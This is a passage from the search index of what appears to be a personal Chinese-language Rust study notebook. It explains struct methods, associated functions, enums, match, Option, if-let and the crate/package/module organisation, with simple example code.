<p>\u5b9a\u4e49\u4e86\u4e00\u4e2a\u8868\u793a\u77e9\u5f62\u7684<code>Rectangle</code>\u7ed3\u6784\u4f53\uff0c\u5e76\u5b9e\u73b0\u4e86\u4e24\u4e2a\u65b9\u6cd5\uff1a<code>area</code>\u548c<code>wider</code>\u3002\u63a5\u7740\u5728<code>main</code>\u51fd\u6570\u4e2d\u521b\u5efa\u4e24\u4e2a\u77e9\u5f62\u5b9e\u4f8b\uff0c\u5e76\u8c03\u7528<code>wider</code>\u65b9\u6cd5\u6765\u6bd4\u8f83\u5b83\u4eec\u7684\u5bbd\u5ea6\u3002\u4ee5\u4e0b\u662f\u8be6\u7ec6\u89e3\u91ca\uff1a</p> <ol> <li><code>Rectangle</code> \u7ed3\u6784\u4f53 <pre><code>struct Rectangle {\n    width: u32,\n    height: u32,\n}\n</code></pre></li> <li> <p>\u8fd9\u6bb5\u4ee3\u7801\u5b9a\u4e49\u4e86\u4e00\u4e2a\u7ed3\u6784\u4f53<code>Rectangle</code>\uff0c\u5b83\u6709\u4e24\u4e2a\u5b57\u6bb5\uff1a<code>width</code>\uff08\u5bbd\u5ea6\uff09\u548c<code>height</code>\uff08\u9ad8\u5ea6\uff09\uff0c\u90fd\u662f<code>u32</code>\u7c7b\u578b\u7684\u65e0\u7b26\u53f732\u4f4d\u6574\u6570\u3002</p> </li> <li> <p><code>impl Rectangle</code>\u5757 <pre><code>impl Rectangle {\n    fn area(&amp;self) -&gt; u32 {\n        self.width * self.height\n    }\n\n    fn wider(&amp;self, rect: &amp;Rectangle) -&gt; bool {\n        self.width &gt; rect.width\n    }\n}\n</code></pre></p> </li> <li> <p><code>impl Rectangle</code>\u5757\u5b9a\u4e49\u4e86\u4e24\u4e2a\u65b9\u6cd5\uff0c<code>area</code>\u548c<code>wider</code>\uff0c\u5b83\u4eec\u90fd\u5c5e\u4e8e<code>Rectangle</code>\u7ed3\u6784\u4f53\u3002</p> </li> <li> <p><code>area</code>\u65b9\u6cd5\uff1a</p> <ul> <li><code>fn area(&amp;self) -&gt; u32</code> \u5b9a\u4e49\u4e86\u4e00\u4e2a\u8ba1\u7b97\u77e9\u5f62\u9762\u79ef\u7684\u65b9\u6cd5\u3002</li> <li><code>self</code>\u662f\u4e00\u4e2a\u6307\u5411\u8c03\u7528\u8be5\u65b9\u6cd5\u7684\u77e9\u5f62\u5b9e\u4f8b\u7684\u5f15\u7528\u3002</li> <li><code>self.width * self.height</code>\u8ba1\u7b97\u5e76\u8fd4\u56de\u77e9\u5f62\u7684\u9762\u79ef\u3002</li> </ul> </li> <li> <p><code>wider</code>\u65b9\u6cd5\uff1a</p> <ul> <li><code>fn wider(&amp;self, rect: &amp;Rectangle) -&gt; bool</code>\u5b9a\u4e49\u4e86\u4e00\u4e2a\u6bd4\u8f83\u77e9\u5f62\u5bbd\u5ea6\u7684\u65b9\u6cd5\u3002</li> <li>\u8fd9\u4e2a\u65b9\u6cd5\u63a5\u6536\u4e24\u4e2a\u53c2\u6570\uff1a<code>self</code>\u8868\u793a\u8c03\u7528\u8be5\u65b9\u6cd5\u7684\u77e9\u5f62\uff0c<code>rect</code>\u662f\u53e6\u4e00\u4e2a\u7528\u4e8e\u6bd4\u8f83\u7684\u77e9\u5f62\u3002</li> <li><code>self.width &gt; rect.width</code> \u5224\u65ad\u8c03\u7528<code>wider</code>\u65b9\u6cd5\u7684\u77e9\u5f62\u662f\u5426\u6bd4\u4f20\u5165\u7684\u77e9\u5f62\u66f4\u5bbd\uff0c\u8fd4\u56de\u4e00\u4e2a\u5e03\u5c14\u503c\u3002</li> </ul> </li> <li> <p><code>main</code>\u51fd\u6570 <pre><code>fn main() {\n    let rect1 = Rectangle { width: 30, height: 50 };\n    let rect2 = Rectangle { width: 40, height: 20 };\n\n    println!(\"{}\", rect1.wider(&amp;rect2));\n}\n</code></pre></p> </li> <li> <p><code>main</code>\u51fd\u6570\u662f\u7a0b\u5e8f\u7684\u5165\u53e3\u70b9\u3002</p> </li> <li> <p><code>let rect1 = Rectangle { width: 30, height: 50 };</code> \u521b\u5efa\u4e00\u4e2a\u5bbd\u5ea6\u4e3a30\u3001\u9ad8\u5ea6\u4e3a50\u7684\u77e9\u5f62\u5b9e\u4f8b<code>rect1</code>\u3002</p> </li> <li> <p><code>let rect2 = Rectangle { width: 40, height: 20 };</code> \u521b\u5efa\u53e6\u4e00\u4e2a\u5bbd\u5ea6\u4e3a40\u3001\u9ad8\u5ea6\u4e3a20\u7684\u77e9\u5f62\u5b9e\u4f8b<code>rect2</code>\u3002</p> </li> <li> <p><code>println!(\"{}\", rect1.wider(&amp;rect2));</code> \u8c03\u7528<code>rect1</code>\u7684<code>wider</code>\u65b9\u6cd5\uff0c\u6bd4\u8f83\u5b83\u548c<code>rect2</code>\u7684\u5bbd\u5ea6\uff0c\u7136\u540e\u5c06\u7ed3\u679c\u6253\u5370\u51fa\u6765\u3002</p> </li> </ol> <p>\u8fd0\u884c\u7ed3\u679c</p> <ul> <li><code>rect1.wider(&amp;rect2)</code>\u4f1a\u8fd4\u56de<code>false</code>\uff0c\u56e0\u4e3a<code>rect1</code>\u7684\u5bbd\u5ea6\uff0830\uff09\u5c0f\u4e8e<code>rect2</code>\u7684\u5bbd\u5ea6\uff0840\uff09\u3002</li> <li>\u7a0b\u5e8f\u5c06\u6253\u5370\u51fa<code>false</code>\u3002</li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_34","title":"\u7ed3\u6784\u4f53\u5173\u8054\u51fd\u6570","text":"<p>\u4e4b\u6240\u4ee5\"\u7ed3\u6784\u4f53\u65b9\u6cd5\"\u4e0d\u53eb\"\u7ed3\u6784\u4f53\u51fd\u6570\"\u662f\u56e0\u4e3a\"\u51fd\u6570\"\u8fd9\u4e2a\u540d\u5b57\u7559\u7ed9\u4e86\u8fd9\u79cd\u51fd\u6570\uff1a\u5b83\u5728 impl \u5757\u4e2d\u5374\u6ca1\u6709 &amp;self \u53c2\u6570\u3002</p> <p>\u8fd9\u79cd\u51fd\u6570\u4e0d\u4f9d\u8d56\u5b9e\u4f8b\uff0c\u4f46\u662f\u4f7f\u7528\u5b83\u9700\u8981\u58f0\u660e\u662f\u5728\u54ea\u4e2a impl \u5757\u4e2d\u7684\u3002</p> <p>\u4e00\u76f4\u4f7f\u7528\u7684 String::from \u51fd\u6570\u5c31\u662f\u4e00\u4e2a\"\u5173\u8054\u51fd\u6570\"\u3002</p> <pre><code>#[derive(Debug)]\nstruct Rectangle {\n    width: u32,\n    height: u32,\n}\n\nimpl Rectangle {\n    fn create(width: u32, height: u32) -&gt; Rectangle {\n        Rectangle { width, height }\n    }\n}\n\nfn main() {\n    let rect = Rectangle::create(30, 50);\n    println!(\"{:?}\", rect);\n}\n</code></pre> <p>Note</p> <p>\u7ed3\u6784\u4f53 impl \u5757\u53ef\u4ee5\u5199\u51e0\u6b21\uff0c\u6548\u679c\u76f8\u5f53\u4e8e\u5b83\u4eec\u5185\u5bb9\u7684\u62fc\u63a5\uff01</p> <p>\u7ed3\u6784\u4f53\u53ef\u4ee5\u53ea\u4f5c\u4e3a\u4e00\u79cd\u8c61\u5f81\u800c\u65e0\u9700\u4efb\u4f55\u6210\u5458\uff1a <pre><code>struct UnitStruct;\n</code></pre></p> <p>\u6211\u4eec\u79f0\u8fd9\u79cd\u6ca1\u6709\u8eab\u4f53\u7684\u7ed3\u6784\u4f53\u4e3a\u5355\u5143\u7ed3\u6784\u4f53\uff08Unit Struct\uff09\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_35","title":"\u679a\u4e3e\u7c7b","text":"<p>RUST\u4e2d\u7684\u679a\u4e3e\u7c7b\u53ef\u4ee5\u6bd4\u8f83\u7b80\u5355\u5730\u4f7f\u7528 \u683c\u5f0f\u4e3a <pre><code>enum \u679a\u4e3e\u7c7b\u540d\u79f0\n{\n   \u6210\u54581,\n   \u6210\u54582,\n   ...\n   \u6700\u540e\u4e00\u4e2a\u6210\u5458\n}\n</code></pre> \u4f8b\u5982 <pre><code>#[derive(Debug)]\n\nenum Book {\n    Papery, Electronic\n}\n\nfn main() {\n    let book = Book::Papery;\n    println!(\"{:?}\", book);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4f1a\u8f93\u51faPapery</p> <p>\u5982\u679c\u4f60\u6b63\u5728\u5f00\u53d1\u4e00\u4e2a\u56fe\u4e66\u7ba1\u7406\u7cfb\u7edf\uff0c\u4f60\u9700\u8981\u63cf\u8ff0\u4e66\u7684\u4e24\u79cd\u4e0d\u540c\u7684\u5c5e\u6027(\u7eb8\u8d28\u4e66\u6709\u7d22\u5f15\u53f7\uff0c\u7535\u5b50\u4e66\u6709URL)\uff0c\u90a3\u4e48\u53ef\u4ee5\u4e3a\u679a\u4e3e\u7c7b\u7684\u6210\u5458\u6dfb\u52a0\u5143\u7ec4\u5c5e\u6027\u63cf\u8ff0,\u5982\u679c\u8981\u4e3a\u5c5e\u6027\u547d\u540d,\u53ef\u4ee5\u7528\u7ed3\u6784\u4f53\u7684\u8bed\u6cd5</p> <p><pre><code>enum Book {\n    Papery { index: u32 },\n    Electronic { url: String },\n}\nlet book = Book::Papery{index: 1001};\n</code></pre> \u867d\u7136\u53ef\u4ee5\u5982\u6b64\u547d\u540d\uff0c\u4f46\u8bf7\u6ce8\u610f\uff0c\u5e76\u4e0d\u80fd\u50cf\u8bbf\u95ee\u7ed3\u6784\u4f53\u5b57\u6bb5\u4e00\u6837\u8bbf\u95ee\u679a\u4e3e\u7c7b\u7ed1\u5b9a\u7684\u5c5e\u6027\u3002\u8bbf\u95ee\u7684\u65b9\u6cd5\u5728 match \u8bed\u6cd5\u4e2d\u3002</p> <p>Match\u8bed\u6cd5</p> <p>\u679a\u4e3e\u7684\u76ee\u7684\u662f\u5bf9\u67d0\u4e00\u7c7b\u4e8b\u7269\u7684\u5206\u7c7b\uff0c\u5206\u7c7b\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u5bf9\u4e0d\u540c\u7684\u60c5\u51b5\u8fdb\u884c\u63cf\u8ff0\u3002\u57fa\u4e8e\u8fd9\u4e2a\u539f\u7406\uff0c\u5f80\u5f80\u679a\u4e3e\u7c7b\u6700\u7ec8\u90fd\u4f1a\u88ab\u5206\u652f\u7ed3\u6784\u5904\u7406\uff08\u8bb8\u591a\u8bed\u8a00\u4e2d\u7684 switch \uff09\u3002 switch \u8bed\u6cd5\u5f88\u7ecf\u5178\uff0c\u4f46\u5728 Rust \u4e2d\u5e76\u4e0d\u652f\u6301\uff0c\u5f88\u591a\u8bed\u8a00\u6452\u5f03 switch \u7684\u539f\u56e0\u90fd\u662f\u56e0\u4e3a switch \u5bb9\u6613\u5b58\u5728\u56e0\u5fd8\u8bb0\u6dfb\u52a0 break \u800c\u4ea7\u751f\u7684\u4e32\u63a5\u8fd0\u884c\u95ee\u9898\uff0cJava \u548c C# \u8fd9\u7c7b\u8bed\u8a00\u901a\u8fc7\u5b89\u5168\u68c0\u67e5\u675c\u7edd\u8fd9\u79cd\u60c5\u51b5\u51fa\u73b0\u3002</p> <p>Rust \u901a\u8fc7 match \u8bed\u53e5\u6765\u5b9e\u73b0\u5206\u652f\u7ed3\u6784\u3002 <pre><code>fn main() {\nenum Book {\n    Papery {index: u32},\n    Electronic {url: String},\n}\n\nlet book = Book::Papery{index: 1001};\nlet ebook = Book::Electronic{url: String::from(\"url...\")};\n\nmatch book {\n    Book::Papery { index } =&gt; {\n        println!(\"Papery book {}\", index);\n    },\n    Book::Electronic { url } =&gt; {\n        println!(\"E-book {}\", url);\n    }\n}\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c\u4e3a Papery book 1001</p> <p>match \u5757\u4e5f\u53ef\u4ee5\u5f53\u4f5c\u51fd\u6570\u8868\u8fbe\u5f0f\u6765\u5bf9\u5f85\uff0c\u5b83\u4e5f\u662f\u53ef\u4ee5\u6709\u8fd4\u56de\u503c\u7684</p> <pre><code>match \u679a\u4e3e\u7c7b\u5b9e\u4f8b {\n\u5206\u7c7b1 =&gt; \u8fd4\u56de\u503c\u8868\u8fbe\u5f0f,\n\u5206\u7c7b2 =&gt; \u8fd4\u56de\u503c\u8868\u8fbe\u5f0f,\n...\n}\n</code></pre> <p>\u4f46\u662f\u6240\u6709\u8fd4\u56de\u503c\u8868\u8fbe\u5f0f\u7684\u7c7b\u578b\u5fc5\u987b\u4e00\u6837\uff01</p> <p>\u5982\u679c\u628a\u679a\u4e3e\u7c7b\u9644\u52a0\u5c5e\u6027\u5b9a\u4e49\u6210\u5143\u7ec4\uff0c\u5728 match \u5757\u4e2d\u9700\u8981\u4e34\u65f6\u6307\u5b9a\u4e00\u4e2a\u540d\u5b57\uff1a</p> <p><pre><code>enum Book {\nPapery(u32),\nElectronic {url: String},\n}\nlet book = Book::Papery(1001);\n\nmatch book {\n    Book::Papery(i) =&gt; {\n        println!(\"{}\", i);\n    },\n    Book::Electronic { url } =&gt; {\n        println!(\"{}\", url);\n    }\n}\n</code></pre> match \u9664\u4e86\u80fd\u591f\u5bf9\u679a\u4e3e\u7c7b\u8fdb\u884c\u5206\u652f\u9009\u62e9\u4ee5\u5916\uff0c\u8fd8\u53ef\u4ee5\u5bf9\u6574\u6570\u3001\u6d6e\u70b9\u6570\u3001\u5b57\u7b26\u548c\u5b57\u7b26\u4e32\u5207\u7247\u5f15\u7528\uff08&amp;str\uff09\u7c7b\u578b\u7684\u6570\u636e\u8fdb\u884c\u5206\u652f\u9009\u62e9\u3002\u5176\u4e2d\uff0c\u6d6e\u70b9\u6570\u7c7b\u578b\u88ab\u5206\u652f\u9009\u62e9\u867d\u7136\u5408\u6cd5\uff0c\u4f46\u4e0d\u63a8\u8350\u8fd9\u6837\u4f7f\u7528\uff0c\u56e0\u4e3a\u7cbe\u5ea6\u95ee\u9898\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5206\u652f\u9519\u8bef\u3002</p> <p>\u5bf9\u975e\u679a\u4e3e\u7c7b\u8fdb\u884c\u5206\u652f\u9009\u62e9\u65f6\u5fc5\u987b\u6ce8\u610f\u5904\u7406\u4f8b\u5916\u60c5\u51b5\uff0c\u5373\u4f7f\u5728\u4f8b\u5916\u60c5\u51b5\u4e0b\u6ca1\u6709\u4efb\u4f55\u8981\u505a\u7684\u4e8b . \u4f8b\u5916\u60c5\u51b5\u7528\u4e0b\u5212\u7ebf _ \u8868\u793a\uff1a</p> <pre><code>fn main() {\nlet t = \"abc\";\nmatch t {\n    \"abc\" =&gt; println!(\"Yes\"),\n    _ =&gt; {},\n}\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#option","title":"Option \u679a\u4e3e\u7c7b","text":"<p>Option \u662f Rust \u6807\u51c6\u5e93\u4e2d\u7684\u679a\u4e3e\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u7528\u4e8e\u586b\u8865 Rust \u4e0d\u652f\u6301 null \u5f15\u7528\u7684\u7a7a\u767d\u3002</p> <p>\u8bb8\u591a\u8bed\u8a00\u652f\u6301 null \u7684\u5b58\u5728\uff08C/C++\u3001Java\uff09\uff0c\u8fd9\u6837\u5f88\u65b9\u4fbf\uff0c\u4f46\u4e5f\u5236\u9020\u4e86\u6781\u5927\u7684\u95ee\u9898\uff0cnull \u7684\u53d1\u660e\u8005\u4e5f\u627f\u8ba4\u8fd9\u4e00\u70b9\uff0c\"\u4e00\u4e2a\u65b9\u4fbf\u7684\u60f3\u6cd5\u9020\u6210\u7d2f\u8ba1 10 \u4ebf\u7f8e\u5143\u7684\u635f\u5931\"\u3002</p> <p>null \u7ecf\u5e38\u5728\u5f00\u53d1\u8005\u628a\u4e00\u5207\u90fd\u5f53\u4f5c\u4e0d\u662f null \u7684\u65f6\u5019\u7ed9\u4e88\u7a0b\u5e8f\u81f4\u547d\u4e00\u51fb\uff1a\u6bd5\u7adf\u53ea\u8981\u51fa\u73b0\u4e00\u4e2a\u8fd9\u6837\u7684\u9519\u8bef\uff0c\u7a0b\u5e8f\u7684\u8fd0\u884c\u5c31\u8981\u5f7b\u5e95\u7ec8\u6b62\u3002</p> <p>\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u5f88\u591a\u8bed\u8a00\u9ed8\u8ba4\u4e0d\u5141\u8bb8 null\uff0c\u4f46\u5728\u8bed\u8a00\u5c42\u9762\u652f\u6301 null \u7684\u51fa\u73b0\uff08\u5e38\u5728\u7c7b\u578b\u524d\u9762\u7528 ? \u7b26\u53f7\u4fee\u9970\uff09\u3002</p> <p>Java \u9ed8\u8ba4\u652f\u6301 null\uff0c\u4f46\u53ef\u4ee5\u901a\u8fc7 @NotNull \u6ce8\u89e3\u9650\u5236\u51fa\u73b0 null\uff0c\u8fd9\u662f\u4e00\u79cd\u5e94\u4ed8\u7684\u529e\u6cd5\u3002</p> <p>Rust \u5728\u8bed\u8a00\u5c42\u9762\u5f7b\u5e95\u4e0d\u5141\u8bb8\u7a7a\u503c null \u7684\u5b58\u5728\uff0c\u4f46\u65e0\u5948null \u53ef\u4ee5\u9ad8\u6548\u5730\u89e3\u51b3\u5c11\u91cf\u7684\u95ee\u9898\uff0c\u6240\u4ee5 Rust \u5f15\u5165\u4e86 Option \u679a\u4e3e\u7c7b\uff1a</p> <pre><code>enum Option&lt;T&gt; {\n    Some(T),\n    None,\n}\n//\u8fd9\u63d0\u4f9b\u4e86\u4e00\u79cd\u5b9a\u4e49\u53ef\u4ee5\u4e3a\u7a7a\u503c\u7684\u7c7b\u7684\u65b9\u6cd5\n//let opt = Option::Some(\"Hello\");\n</code></pre> <p>\u5982\u679c\u4f60\u60f3\u9488\u5bf9 <code>opt</code> \u6267\u884c\u67d0\u4e9b\u64cd\u4f5c\uff0c\u4f60\u5fc5\u987b\u5148\u5224\u65ad\u5b83\u662f\u5426\u662f <code>Option::None</code>\uff1a</p> <pre><code>fn main() {\n    let opt = Option::Some(\"Hello\");\n    match opt {\n        Option::Some(something) =&gt; {\n            println!(\"{}\", something);\n        },\n        Option::None =&gt; {\n            println!(\"opt is nothing\");\n        }\n    }\n}\n</code></pre> <p>\u5982\u679c\u4f60\u7684\u53d8\u91cf\u521a\u5f00\u59cb\u662f\u7a7a\u503c\uff0c\u4f60\u4f53\u8c05\u4e00\u4e0b\u7f16\u8bd1\u5668\uff0c\u5b83\u600e\u4e48\u77e5\u9053\u503c\u4e0d\u4e3a\u7a7a\u7684\u65f6\u5019\u53d8\u91cf\u662f\u4ec0\u4e48\u7c7b\u578b\u7684\u5462\uff1f</p> <p>\u6240\u4ee5\u521d\u59cb\u503c\u4e3a\u7a7a\u7684 Option \u5fc5\u987b\u660e\u786e\u7c7b\u578b\uff1a</p> <pre><code>fn main() {\n    let opt: Option&lt;&amp;str&gt; = Option::None;\n    match opt {\n        Option::Some(something) =&gt; {\n            println!(\"{}\", something);\n        },\n        Option::None =&gt; {\n            println!(\"opt is nothing\");\n        }\n    }\n}\n</code></pre> <p>Info</p> <p>\u8fd9\u79cd\u8bbe\u8ba1\u4f1a\u8ba9\u7a7a\u503c\u7f16\u7a0b\u53d8\u5f97\u4e0d\u5bb9\u6613\uff0c\u4f46\u8fd9\u6b63\u662f\u6784\u5efa\u4e00\u4e2a\u7a33\u5b9a\u9ad8\u6548\u7684\u7cfb\u7edf\u6240\u9700\u8981\u7684\u3002\u7531\u4e8e Option \u662f Rust \u7f16\u8bd1\u5668\u9ed8\u8ba4\u5f15\u5165\u7684\uff0c\u5728\u4f7f\u7528\u65f6\u53ef\u4ee5\u7701\u7565 Option:: \u76f4\u63a5\u5199 None \u6216\u8005 Some()\u3002</p> <p>Option \u662f\u4e00\u79cd\u7279\u6b8a\u7684\u679a\u4e3e\u7c7b\uff0c\u5b83\u53ef\u4ee5\u542b\u503c\u5206\u652f\u9009\u62e9\uff1a</p> <pre><code>fn main() {\n        let t = Some(64);\n        match t {\n                Some(64) =&gt; println!(\"Yes\"),\n                _ =&gt; println!(\"No\"),\n        }\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#if-let","title":"if-let\u8bed\u6cd5","text":"<p>\u4e0b\u9762\u8fd9\u6bb5\u7a0b\u5e8f\u7528\u4e8e\u5224\u65ad\u4e00\u4e2a\u53d8\u91cf\u662f\u5426\u4e3a0</p> <p><pre><code>let i = 0;\nmatch i {\n    0 =&gt; println!(\"zero\"),\n    _ =&gt; {},\n}\n</code></pre> \u4f7f\u7528<code>if-let</code>\u8bed\u6cd5\u53ef\u4ee5\u5bf9\u5b83\u8fdb\u884c\u7f29\u77ed</p> <pre><code>let i = 0;\nif let 0 = i {\n    println!(\"zero\");\n}\n</code></pre> <p><code>if-let</code>\u8bed\u6cd5\u7684\u683c\u5f0f\u5982\u4e0b <pre><code>if let \u5339\u914d\u503c = \u6e90\u53d8\u91cf {\n    \u8bed\u53e5\u5757\n}\n</code></pre></p> Note <p>if let \u8bed\u6cd5\u53ef\u4ee5\u8ba4\u4e3a\u662f\u53ea\u533a\u5206\u4e24\u79cd\u60c5\u51b5\u7684 match \u8bed\u53e5\u7684\"\u8bed\u6cd5\u7cd6\"\uff08\u8bed\u6cd5\u7cd6\u6307\u7684\u662f\u67d0\u79cd\u8bed\u6cd5\u7684\u539f\u7406\u76f8\u540c\u7684\u4fbf\u6377\u66ff\u4ee3\u54c1\uff09\u3002</p> <p>\u53ef\u4ee5\u5728\u4e4b\u540e\u6dfb\u52a0\u4e00\u4e2a else \u5757\u6765\u5904\u7406\u4f8b\u5916\u60c5\u51b5\u3002 <pre><code>fn main() {\n    enum Book {\n        Papery(u32),\n        Electronic(String)\n    }\n    let book = Book::Electronic(String::from(\"url\"));\n    if let Book::Papery(index) = book {\n        println!(\"Papery {}\", index);\n    } else {\n        println!(\"Not papery book\");\n    }\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_36","title":"\u7ec4\u7ec7\u7ba1\u7406","text":"<p>\u6211\u6ca1\u592a\u61c2\u8fd9\u4e2a\u662f\u8981\u5e72\u561b\uff0c\u76f4\u63a5\u6284\u7684\u83dc\u9e1f\u6559\u7a0b</p> <p>\u4efb\u4f55\u4e00\u95e8\u7f16\u7a0b\u8bed\u8a00\u5982\u679c\u4e0d\u80fd\u7ec4\u7ec7\u4ee3\u7801\u90fd\u662f\u96be\u4ee5\u6df1\u5165\u7684\uff0c\u51e0\u4e4e\u6ca1\u6709\u4e00\u4e2a\u8f6f\u4ef6\u4ea7\u54c1\u662f\u7531\u4e00\u4e2a\u6e90\u6587\u4ef6\u7f16\u8bd1\u800c\u6210\u7684\u3002</p> <p>\u5230\u76ee\u524d\u4e3a\u6b62\u6240\u6709\u7684\u7a0b\u5e8f\u90fd\u662f\u5728\u4e00\u4e2a\u6587\u4ef6\u4e2d\u7f16\u5199\u7684\uff0c\u4e3b\u8981\u662f\u4e3a\u4e86\u65b9\u4fbf\u5b66\u4e60 Rust \u8bed\u8a00\u7684\u8bed\u6cd5\u548c\u6982\u5ff5\u3002</p> <p>\u5bf9\u4e8e\u4e00\u4e2a\u5de5\u7a0b\u6765\u8bb2\uff0c\u7ec4\u7ec7\u4ee3\u7801\u662f\u5341\u5206\u91cd\u8981\u7684\u3002</p> <p>Rust \u4e2d\u6709\u4e09\u4e2a\u91cd\u8981\u7684\u7ec4\u7ec7\u6982\u5ff5\uff1a\u7bb1\u3001\u5305\u3001\u6a21\u5757\u3002</p> <p>\u7bb1(Crate)</p> <p>\"\u7bb1\"\u662f\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u6587\u4ef6\u6216\u8005\u5e93\u6587\u4ef6\uff0c\u5b58\u5728\u4e8e\"\u5305\"\u4e2d\u3002</p> <p>\"\u7bb1\"\u662f\u6811\u72b6\u7ed3\u6784\u7684\uff0c\u5b83\u7684\u6811\u6839\u662f\u7f16\u8bd1\u5668\u5f00\u59cb\u8fd0\u884c\u65f6\u7f16\u8bd1\u7684\u6e90\u6587\u4ef6\u6240\u7f16\u8bd1\u7684\u7a0b\u5e8f\u3002</p> <p>Note</p> <p>\u6ce8\u610f\uff1a\"\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u6587\u4ef6\"\u4e0d\u4e00\u5b9a\u662f\"\u4e8c\u8fdb\u5236\u53ef\u6267\u884c\u6587\u4ef6\"\uff0c\u53ea\u80fd\u786e\u5b9a\u662f\u662f\u5305\u542b\u76ee\u6807\u673a\u5668\u8bed\u8a00\u7684\u6587\u4ef6\uff0c\u6587\u4ef6\u683c\u5f0f\u968f\u7f16\u8bd1\u73af\u5883\u7684\u4e0d\u540c\u800c\u4e0d\u540c.</p> <p>\u5305(Package)</p> <p>\u5f53\u6211\u4eec\u4f7f\u7528 Cargo \u6267\u884c new \u547d\u4ee4\u521b\u5efa Rust \u5de5\u7a0b\u65f6\uff0c\u5de5\u7a0b\u76ee\u5f55\u4e0b\u4f1a\u5efa\u7acb\u4e00\u4e2a Cargo.toml \u6587\u4ef6\u3002\u5de5\u7a0b\u7684\u5b9e\u8d28\u5c31\u662f\u4e00\u4e2a\u5305\uff0c\u5305\u5fc5\u987b\u7531\u4e00\u4e2a Cargo.toml \u6587\u4ef6\u6765\u7ba1\u7406\uff0c\u8be5\u6587\u4ef6\u63cf\u8ff0\u4e86\u5305\u7684\u57fa\u672c\u4fe1\u606f\u4ee5\u53ca\u4f9d\u8d56\u9879\u3002</p> <p>\u4e00\u4e2a\u5305\u6700\u591a\u5305\u542b\u4e00\u4e2a\u5e93\"\u7bb1\"\uff0c\u53ef\u4ee5\u5305\u542b\u4efb\u610f\u6570\u91cf\u7684\u4e8c\u8fdb\u5236\"\u7bb1\"\uff0c\u4f46\u662f\u81f3\u5c11\u5305\u542b\u4e00\u4e2a\"\u7bb1\"\uff08\u4e0d\u7ba1\u662f\u5e93\u8fd8\u662f\u4e8c\u8fdb\u5236\"\u7bb1\"\uff09\u3002</p> <p>\u5f53\u4f7f\u7528 cargo new \u547d\u4ee4\u521b\u5efa\u5b8c\u5305\u4e4b\u540e\uff0csrc \u76ee\u5f55\u4e0b\u4f1a\u751f\u6210\u4e00\u4e2a main.rs \u6e90\u6587\u4ef6\uff0cCargo \u9ed8\u8ba4\u8fd9\u4e2a\u6587\u4ef6\u4e3a\u4e8c\u8fdb\u5236\u7bb1\u7684\u6839\uff0c\u7f16\u8bd1\u4e4b\u540e\u7684\u4e8c\u8fdb\u5236\u7bb1\u5c06\u4e0e\u5305\u540d\u76f8\u540c\u3002</p> <p>\u6a21\u5757\uff08Module\uff09 \u5bf9\u4e8e\u4e00\u4e2a\u8f6f\u4ef6\u5de5\u7a0b\u6765\u8bf4\uff0c\u6211\u4eec\u5f80\u5f80\u6309\u7167\u6240\u4f7f\u7528\u7684\u7f16\u7a0b\u8bed\u8a00\u7684\u7ec4\u7ec7\u89c4\u8303\u6765\u8fdb\u884c\u7ec4\u7ec7\uff0c\u7ec4\u7ec7\u6a21\u5757\u7684\u4e3b\u8981\u7ed3\u6784\u5f80\u5f80\u662f\u6811\u3002Java \u7ec4\u7ec7\u529f\u80fd\u6a21\u5757\u7684\u4e3b\u8981\u5355\u4f4d\u662f\u7c7b\uff0c\u800c JavaScript \u7ec4\u7ec7\u6a21\u5757\u7684\u4e3b\u8981\u65b9\u5f0f\u662f function\u3002</p> <p>\u8fd9\u4e9b\u5148\u8fdb\u7684\u8bed\u8a00\u7684\u7ec4\u7ec7\u5355\u4f4d\u53ef\u4ee5\u5c42\u5c42\u5305\u542b\uff0c\u5c31\u50cf\u6587\u4ef6\u7cfb\u7edf\u7684\u76ee\u5f55\u7ed3\u6784\u4e00\u6837\u3002Rust \u4e2d\u7684\u7ec4\u7ec7\u5355\u4f4d\u662f\u6a21\u5757\uff08Module\uff09\u3002</p> <p><pre><code>mod nation {\n    mod government {\n        fn govern() {}\n    }\n    mod congress {\n        fn legislate() {}\n    }\n    mod court {\n        fn judicial() {}\n    }\n}\n</code></pre> \u8fd9\u662f\u4e00\u6bb5\u63cf\u8ff0\u6cd5\u6cbb\u56fd\u5bb6\u7684\u7a0b\u5e8f\uff1a\u56fd\u5bb6\uff08nation\uff09\u5305\u62ec\u653f\u5e9c\uff08government\uff09\u3001\u8bae\u4f1a\uff08congress\uff09\u548c\u6cd5\u9662\uff08court\uff09\uff0c\u5206\u522b\u6709\u884c\u653f\u3001\u7acb\u6cd5\u548c\u53f8\u6cd5\u7684\u529f\u80fd\u3002\u6211\u4eec\u53ef\u4ee5\u628a\u5b83\u8f6c\u6362\u6210\u6811\u72b6\u7ed3\u6784\uff1a <pre><code>nation\n \u251c\u2500\u2500 government\n \u2502 \u2514\u2500\u2500 govern\n \u251c\u2500\u2500 congress\n \u2502 \u2514\u2500\u2500 legislate\n \u2514\u2500\u2500 court\n   \u2514\u2500\u2500 judicial\n</code></pre></p> <p>\u5728\u6587\u4ef6\u7cfb\u7edf\u4e2d\uff0c\u76ee\u5f55\u7ed3\u6784\u5f80\u5f80\u4ee5\u659c\u6760\u5728\u8def\u5f84\u5b57\u7b26\u4e32\u4e2d\u8868\u793a\u5bf9\u8c61\u7684\u4f4d\u7f6e\uff0cRust \u4e2d\u7684\u8def\u5f84\u5206\u9694\u7b26\u662f :: \u3002</p> <p>\u8def\u5f84\u5206\u4e3a\u7edd\u5bf9\u8def\u5f84\u548c\u76f8\u5bf9\u8def\u5f84\u3002\u7edd\u5bf9\u8def\u5f84\u4ece crate \u5173\u952e\u5b57\u5f00\u59cb\u63cf\u8ff0\u3002\u76f8\u5bf9\u8def\u5f84\u4ece self \u6216 super \u5173\u952e\u5b57\u6216\u4e00\u4e2a\u6807\u8bc6\u7b26\u5f00\u59cb\u63cf\u8ff0\u3002\u4f8b\u5982\uff1a 